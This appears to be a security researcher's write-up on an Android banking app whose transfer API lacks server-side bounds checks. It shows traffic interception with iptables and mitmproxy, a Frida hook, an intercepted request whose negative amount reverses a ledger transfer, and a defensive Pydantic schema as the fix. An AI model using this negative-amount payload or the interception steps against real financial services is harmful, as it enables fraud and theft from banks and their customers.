01 The Client-Side Assumption

When auditing mobile applications, frontend developers often equate UI input masking with business logic validation. In this target Android banking service, the user interface featured a strict formatted phone and amount verification screen:

  • Digits only (0–9) enforced via Android DigitsKeyListener
  • Maximum transfer limit capped at 10,000 units by UI slider limits
  • Regular expression verification on the client prior to activating the "Continue" CTA

To an unauthenticated end user testing the APK directly on a smartphone, tampering with the number seemed completely prohibited.

02 Interception & Network Setup

To analyze the raw wire traffic without triggering SafetyNet or device integrity attestation errors, we used physical Android hardware with a custom injected user CA certificate and transparent iptables redirection running inside Termux:

TERMUX — IPTABLES TRANSPARENT REDIRECT
# iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-port 8080
[IPTABLES] Redirect rule established. [PROXY] Listening on 127.0.0.1:8080 (mitmproxy v10.4.2) [TLS] Certificate Authority trusted in Magisk system store.

03 HTTP Request Inspection

The moment the network call was intercepted, the frontend masks completely dissolved. The API endpoint accepted arbitrary JSON structures with zero server-side boundary enforcement:

POST /api/v2/transfer/verify HTTP/2
200 OK
Host: api.target-bank.internal
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json; charset=utf-8
User-Agent: OkHttp/4.12.0
{
  "recipient_account": "98214401",
  "amount": -50000.00,
  "currency": "USD",
  "source_token": "tok_99182a"
}
Vulnerability Confirmed

Submitting a negative integer (-50000.00) bypassed the UI slider limit. Because the backend arithmetic subtracted the amount from the recipient and credited the origin balance without asserting amount > 0, it reversed the ledger transfer direction.

04 Frida Runtime Hooking

To inspect why the Android app's internal Retrofit interface passed negative floats without triggering local assertions, we hooked the compiled validation class using Frida:

FRIDA HOOK — com.target.app.TransferValidator
$ frida -U -f com.target.app -l hook_validator.js
[Frida] Spawned com.target.app (PID: 19824) [*] Hooking TransferValidator.validateAmount(double val) [-] Incoming amount argument: -50000.0 [-] Method returned: true (Reason: check asserted only (val != 0)) [*] HTTP Dispatcher executed. Zero client-side rejection.

05 Root Cause Analysis

The root cause was architectural asymmetry: the mobile client team wrote strict UI sanitization believing the backend would enforce business constraints; the backend microservice team assumed the client-facing gateway had already filtered invalid numbers.

06 Mitigation & Schema Validation

Never rely on client-side regex or input formatters. All numerical fields must be strictly validated at the API boundary using runtime schemas with strict bounds:

DEFENSIVE PATCH — Pydantic / Zod Boundary Schema
class TransferRequest(BaseModel):
    recipient_account: Annotated[str, Field(pattern=r"^[0-9]{8,12}$")]
    amount: Annotated[Decimal, Field(gt=0, le=10000, decimal_places=2)]
    currency: Literal["USD", "EUR", "GBP"]
    source_token: str
K
Krish / axe01010
Systems engineer and security researcher. Eight years building and shipping production software directly from mobile Linux environments.
RELATED RESEARCH & BUILDS